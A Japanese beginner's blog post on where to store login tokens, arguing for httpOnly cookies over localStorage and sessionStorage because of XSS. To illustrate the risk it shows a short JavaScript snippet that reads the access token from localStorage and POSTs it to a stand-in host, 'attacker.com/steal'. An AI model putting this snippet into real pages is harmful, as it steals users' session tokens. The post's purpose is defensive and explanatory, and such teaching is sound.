🛠 たずは動かすでもそのあずに考えるべき「セキュリティ」の話

🛠 たずは動かすでもそのあずに考えるべき「セキュリティ」の話

投皿日: 2025幎05月26日

Tips
孊習振り返り
芁玄
  • ログむン機胜を実装する際、たずは動くこずが重芁だが、その埌のセキュリティ察策も考慮する必芁がある。
  • localStorageやsessionStorageを䜿甚するずXSS攻撃のリスクが高たるため、トヌクンはhttpOnly Cookieに保存するこずが掚奚される。
  • 「動䜜するこず」から「守るこず」ぞの移行が重芁で、リアルな危機感を持ち぀぀アプリを進化させおいく必芁がある。

Webアプリを開発しおいるず、たず「ログむン機胜を぀けたい」ず思いたすよね。
最初はずにかく「動くこず」が倧事です。僕もそうでした。

  • ログむンしたらダッシュボヌドに遷移する

  • もう䞀床開いたらログむン状態が残っおいる

  • 「ログむン状態を保持する」にチェックを぀けたら蚘憶される

たずはここたでできれば「おお、動いたぞ」ずテンションが䞊がりたす。

でも、それだけで終わっおはいけたせん。
今回は「トヌクンの保存堎所」に぀いお、セキュリティの芳点からあずでちゃんず考えようずいう話です。


🔰 初期実装でよくある保存方法localStorage や sessionStorage

たず手軜に動かす方法ずしおよく䜿われるのがこれです

localStorage.setItem("accessToken", token);

ログむン埌にトヌクンを取埗しお localStorage に保存し、次回アクセス時に localStorage.getItem() で読み出せば、「ログむン状態を保持しおいるように芋える」 ずいう実装になりたす。

これ、ずおも手軜で動きたす。

💣 でも実はこれ、セキュリティ的にかなり危ない

localStorage や sessionStorage は、JavaScript から簡単に読み曞きできたす。
ずいうこずは、**悪意のあるスクリプトXSS攻撃**が入り蟌んだずき、以䞋のようなこずが可胜になりたす。

const stolenToken = localStorage.getItem("accessToken");
fetch("https://attacker.com/steal", {
  method: "POST",
  body: JSON.stringify({ token: stolenToken }),
});

これは本圓に危険です。

🔐 そこで登堎するのが「httpOnly Cookie」

httpOnly フラグを぀けた Cookie にトヌクンを保存するず、JavaScript からアクセスできたせん。
぀たり、XSS攻撃の被害を倧きく枛らすこずができたす。

res.cookies.set("access-token", token, {
  httpOnly: true,
  secure: true,
  sameSite: "lax",
  path: "/",
  maxAge: 60 * 60 * 24 * 30, // 30日
});

このように蚭定すれば、トヌクンは サヌバヌに自動で送信され、クラむアント偎では觊れない状態になりたす。

✅ 結論たずは動く → 次に守る

初心者が陥りがちな萜ずし穎は、「動いたからOK」で終わるこずです。

でも、Webアプリが少しず぀䜿えるようになっおくるず、
「悪意あるアクセス」や「なりすたし」から守る必芁が出おきたす。

だからこそ、

  1. たずは localStorage などを䜿っお「動くログむン機胜」を䜜る

  2. 次にセキュリティに぀いお調べお、Cookieベヌスに移行する

ずいう流れで開発しおいくのが、自然で、そしお正しい順序だず感じおいたす。

📝 おたけ芚えおおくべきポむントたずめ

🛠 たずは動かすでもそのあずに考えるべき「セキュリティ」の話ShiftBブログ

💡 最埌に

セキュリティを完璧に理解しおから実装する必芁はありたせん。
最初は「ログむンできた状態が保持できた」ずいうずころで満足しおいたした。でも実際に自分でオリゞナルアプリを䜜り進めおいく䞭で、**「もし他人のブラりザで自動ログむンされたら」「悪意あるコヌドが入り蟌んだら」**ず、リアルな危機感が芜生えおきたした。

自分のアプリにナヌザヌが増えたり、機胜が増えおいくず、「正しく動くこず」だけでは足りないず気づきたす。

動くものができたからこそ、次に「どう守るか」を真剣に考えられるようになった――これはオリゞナルアプリを䜜っおみたからこその気づきでした。

シェア

Threads
user
さかした
おじさんでも孊べるをモットヌに。 以前はRuby(3幎)、今は React / Next.js を䞭心に、孊習䞭。
Loading...
蚘事䞀芧に戻る
Threads
0